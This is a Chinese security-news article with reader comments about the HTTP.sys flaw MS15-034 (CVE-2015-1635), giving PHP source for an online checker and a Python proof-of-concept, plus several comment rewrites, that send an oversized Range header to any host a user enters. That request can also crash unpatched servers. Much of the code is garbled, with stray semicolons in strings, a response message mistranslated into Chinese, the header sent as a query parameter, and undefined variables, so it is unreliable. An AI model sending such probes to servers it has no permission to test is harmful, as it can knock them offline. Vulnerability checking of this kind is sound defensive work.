2015-4-16 17:00更新:漏洞盒子在线检测工具
HTTP.sys远程执行代码漏洞(CVE-2015-1635,MS15-034)
远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。https://technet.microsoft.com/zh-cn/library/security/MS15-034
在线检测源码
<?php class VulnStatus { const FAIL = 0; const VULN = 1; const VULN_NOT_MS = 2; const PATCHED = 3; const NOT_VULN = 4; const NOT_VULN_MS = 5; const NOT_VULN_CF = 6; public static function AsString( $status, $host ) { switch( $status ) { case self::FAIL : return ';<div class="alert alert-warning">无法连接到 <b>'; . $host . ';</b> 测试漏洞。</div>';; case self::VULN : return ';<div class="alert alert-danger"><b>'; . $host . ';</b> 存在漏洞。</div>';; case self::VULN_NOT_MS: return ';<div class="alert alert-warning"><b>'; . $host . ';</b> 可能存在漏洞,但它好像没使用IIS。</div>';; case self::PATCHED : return ';<div class="alert alert-success"><b>'; . $host . ';</b> 已修复。</div>';; case self::NOT_VULN : return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>, 并没有使用IIS,可能不存在漏洞。</div>';; case self::NOT_VULN_MS: return ';<div class="alert alert-info">不能识别补丁状态 <b>'; . $host . ';</b>. 可能不存在漏洞。</div>';; case self::NOT_VULN_CF: return ';<div class="alert alert-success"><b>'; . $host . ';</b> 可能使用了CloudFlare CDN加速,导致漏洞无法检测或不存在。</div>';; } return ';好像坏了';; } } $host = false; $status = false; $url = filter_input( INPUT_GET, ';host';, FILTER_SANITIZE_URL ); if( !empty( $url ) && parse_url( $url, PHP_URL_SCHEME ) === null ) { $url = ';http://'; . $url; } $port = parse_url( $url, PHP_URL_PORT ); if( $port === null ) { $port = 80; } $url = parse_url( $url, PHP_URL_HOST ); if( $url !== null ) { $cachekey = ';ms15034_'; . $url . ';_'; . $port; $cachetime = 300; // 5 minutes $host = htmlspecialchars( $url, ENT_HTML5 ); if( $port !== 80 ) { $host .= ';:'; . $port; } $memcached = new Memcached( ); $memcached->addServer( ';/var/run/memcached/memcached.sock';, 0 ); $status = $memcached->get( $cachekey ); if( $status === false ) { $fp = @fsockopen( $url, $port, $errno, $errstr, 5 ); if( $fp === false ) { $status = VulnStatus::FAIL; } else { stream_set_timeout( $fp, 5 ); $header = "GET / HTTP/1.1\r\n"; $header .= "Host: stuff\r\n"; $header .= "Range: bytes=0-18446744073709551615\r\n"; $header .= "Connection: close\r\n\r\n"; fwrite( $fp, $header ); $response = fread( $fp, 1024 ); fclose( $fp ); if( strpos( $response, ';您的请求范围不符合'; ) !== false ) { $status = strpos( $response, ';Microsoft'; ) === false ? VulnStatus::VULN_NOT_MS : VulnStatus::VULN; } else if( strpos( $response, ';请求一个无效的header头部'; ) !== false ) { $cachetime = 3600; // 缓存时间 $status = VulnStatus::PATCHED; } else if( strpos( $response, ';Microsoft'; ) === false ) { if( strpos( $response, ';403 Forbidden'; ) !== false && strpos( $response, ';cloudflare-nginx'; ) !== false ) { $status = VulnStatus::NOT_VULN_CF; } else { $status = VulnStatus::NOT_VULN; } } else { $status = VulnStatus::NOT_VULN_MS; } } unset( $fp, $header, $response ); $memcached->set( $cachekey, $status, $cachetime ); } $status = VulnStatus::AsString( $status, $host ); } ?> <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <meta name="theme-color" content="#424242"> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>MS15-034 测试</title> <link href="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/css/bootstrap.min.css" rel="stylesheet"> <style type="text/css"> .container { max-width: 900px; } .masthead { position: relative; padding: 20px 0; text-align: center; color: #fff; background-color: #424242; margin-bottom: 20px; } .masthead a { color: #fff; } .footer { text-align: center; padding: 15px; color: #555; } .footer span { color: #FA5994; } .form-inline { text-align: center; margin-bottom: 20px; } .github { position: absolute; top: 0; right: 0; } </style> </head> <body> <div> <div> <h1>HTTP.sys 堆栈漏洞测试</h1> <h3>输入一个URL或主机名来测试服务器的 <a href="https://technet.microsoft.com/en-us/library/security/ms15-034.aspx" target="_blank">MS15-034</a> / <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1635" target="_blank">CVE-2015-1635</a>.</h3> </div> </div> <div> <blockquote> <p>在HTTP协议栈(HTTP.sys)造成当HTTP协议堆栈不正确地分析特制的HTTP请求的远程代码执行漏洞。成功利用此漏洞谁的攻击者可以在系统帐户的上下文中执行任意代码。</p> <p>要利用此漏洞,攻击者必须发送一个特制的HTTP请求发送到受影响的系统。此更新通过修改Windows HTTP协议栈处理请求解决该漏洞。</p> </blockquote> <form id="js-form" method="GET"> <div> <input type="text" class="form-control input-lg" id="js-input" placeholder="baidu.com" name="host" autofocus<?php if( $host !== false ) { echo '; value="'; . $host . ';"';; } ?>> <button type="submit" class="btn btn-primary btn-lg">检测</button> </div> </form> <?php if( $status !== false ) { echo $status; } ?> <div>使用Memcached分布式内存对象缓存系统 | 所有的结果查询会被缓存五分钟</div> </div> </body> </html>
漏洞验证POC
python版
#!/usr/bin/env python
__author__ = ';jastra';
class bg_colors:
VULN = ';33[92m';
NONVULN= ';33[95m';
EXPLOIT = ';33[91m';
try:
import requests
import re
except ImportError as ierr:
print(bg_colors.EXPLOIT + "Error, looks like you don';t have %s installed", ierr)
def identify_iis(domain):
req = requests.get(str(domain))
remote_server = req.headers[';server';]
if "Microsoft-IIS" in remote_server:
print(bg_colors.VULN + "[+] 服务是 " + remote_server)
ms15_034_test(str(domain))
else:
print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server)
def ms15_034_test(domain):
print(" 启动vuln检查!")
vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
req = requests.get(str(domain), params=vuln_buffer)
if req.headers[';content';] == "请求范围不符合":
print(bg_colors.EXPLOIT + "[+] 存在漏洞")
else:
print(bg_colors.EXPLOIT + "[-] IIS服务无法显示漏洞是否存在. "+
"需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)
*作者/xiaoya,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)
-
为什么我在电脑运行python会提示bug,代码中 remote_server = req.headers[';server';] 和 if req.headers[';content';] == "请求范围不符合": 两处提示[ ]内最后一个分号不合法。。why?

不容错过
- 专注“钓鱼人防”:安全新星企业PhishMe浅析kuma2017-04-19
- 获取乘客和车主的个人信息?这记Uber逻辑漏洞“组合拳”值得一看ArthurKiller2016-06-28
- 【企业研究报告】FreeBuf Insight:网络安全创新企业Top 10解读之root9BFreeBuf研究院2016-11-30
- 检测一下你的专业指数:2015年十大测试工具你认识几个?FireFrank2015-12-29
0daybank
已有 33 条评论
远程溢出?上一次出现是几百年前了?
来个.net 版啊。
这些语言看着很难受。
这漏洞不是叫红雨蘑菇么
为什么我在电脑运行python会提示bug,代码中 remote_server = req.headers[';server';] 和 if req.headers[';content';] == "请求范围不符合": 两处提示[ ]内最后一个分号不合法。。why?
@ 凌晨几度i 仔细看看..
@ 凌晨几度i 一样的问题 请问解决了吗 ?
@ 凌晨几度i 林鹏?
如果大家也有代码洁癖,欢迎一起来蚁逅学习!
本"POC"以及"在线检测"实现很简单,我想,清晰简洁的代码不应该这么杂乱无章,我也来发一个刚写的:http://ant.coding.io/#!ant/market/buy/552f23f332601d2100bca3a3
转发微博
exp ip 80 getshell system
执行的day一定很早就有人在玩了。。。
req.headers[';server';]
req.headers[';content';]
这 Python 略奇怪啊
@ JuncoJet 代码不知道怎么的。写到这里面就被添加了一些莫名其妙的符号。
这python 完全是瞎写啊
@ jack 代码不知道怎么的。写到这里面就被添加了一些莫名其妙的符号。
@ xiaoya req = requests.get(str(domain), params=vuln_buffer) 这一句不是要改headers?
#-*-coding:utf-*-
__author__ = ‘;jastra’;
try:
import requests
import re
except ImportError as ierr:
print(bg_colors.EXPLOIT + "Error, looks like you don’;t have %s installed", ierr)
def identify_iis(domain):
req = requests.get(str(domain))
remote_server = req.headers['server']
print req.headers
if "Microsoft-IIS" in remote_server:
print("[+] 服务是 " + remote_server)
ms15_034_test(str(domain))
else:
print(bg_colors.NONVULN + "[-] 不是IIS\n可能是: " + remote_server)
def ms15_034_test(domain):
print(" 启动vuln检查!")
vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
headers={"Range":"bytes=0-18446744073709551615","Connection":"close"}
req = requests.get(str(domain), headers=headers)
#print req.content
if ";您的请求范围不符合" in req.content:
print("[+] 存在漏洞")
else:
print("[-] IIS服务无法显示漏洞是否存在. "+"需要手动检测")
usr_domain = raw_input("输入域名扫描: ")
identify_iis(usr_domain)
根据楼主改的,但是不知道原贴的原理对不对。。。。
谁发个网站来测试一下
@ wugui 192.168.11.50
以为大牛说过,我从来没有也没见过在python代码里用分号的。
@ bool 在Py代码末尾用封号并不会报错,只是我们平时习惯不用封号,不信你试试
这poc代码还翻译成了中文,能不漏扫么?"请求范围不符合"?你确定不是英文:"Requested Range Not Satisfiable"?
@ ModNar 怪小编吧。
一个数据包KO服务器,这样的漏洞被捕获真是太可惜了!
代码里把"Requested Range Not Satisfiable"翻译成了中文我特么也是醉了
@ 功夫王 怪小编吧。
这py脚本,我也是醉了,能不能专业点
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import re
def identify_iis(domain):
req = requests.get(str(domain))
remote_server = req.headers['server']
if "Microsoft-IIS" in remote_server:
print(‘[+] 服务是’ + remote_server)
ms15_034_test(str(domain))
else:
print(‘[-] 服务器不是IIS\n可能是: ‘ + remote_server)
def ms15_034_test(domain):
print("启动vuln检查!")
vuln_buffer = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n"
req = requests.get(str(domain), params=vuln_buffer)
#print(req.content);
if "请求范围不符合" in req.content:
print(‘[+] 存在漏洞’)
else:
print(‘[-] IIS服务无法显示漏洞是否存在,需要手动检测’)
if __name__== ‘__main__’:
usr_domain = raw_input(‘输入域名扫描: ‘)
identify_iis(usr_domain)
我修正写了一个,大家凑合看吧
这代码有问题,应该是headers模式,而不是params,如下
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
def identify_iis(domain):
req = requests.get(str(domain), proxies = proxies)
remote_server = req.headers['server']
if ‘Microsoft-IIS’ in remote_server:
print(‘服务是’ + remote_server)
ms15_034_test(str(domain))
else:
print(‘服务器不是IIS\n可能是: ‘ + remote_server)
def ms15_034_test(domain):
print(‘启动vuln检查!’)
headers = {‘Host’: ‘stuff’,
‘Range’: ‘bytes=0-18446744073709551615′
}
req = requests.get(str(domain), headers = headers)
if ‘Requested Range Not Satisfiable’ in req.content:
print ‘存在HTTP.sys远程代码执行漏洞!’
elif ‘The request has an invalid header name’ in req.content:
print ‘漏洞已修复’
else:
print ‘IIS服务无法显示漏洞是否存在,需要手动检测’
if __name__== ‘__main__’:
usr_domain = raw_input(‘输入域名扫描: ‘)
identify_iis(usr_domain)
弱弱的问下,Host: stuff里面的stuff不需要用实际的Host地址吗?
写了批量扫描吧
为毛ms系列不能有个可视化窗口工具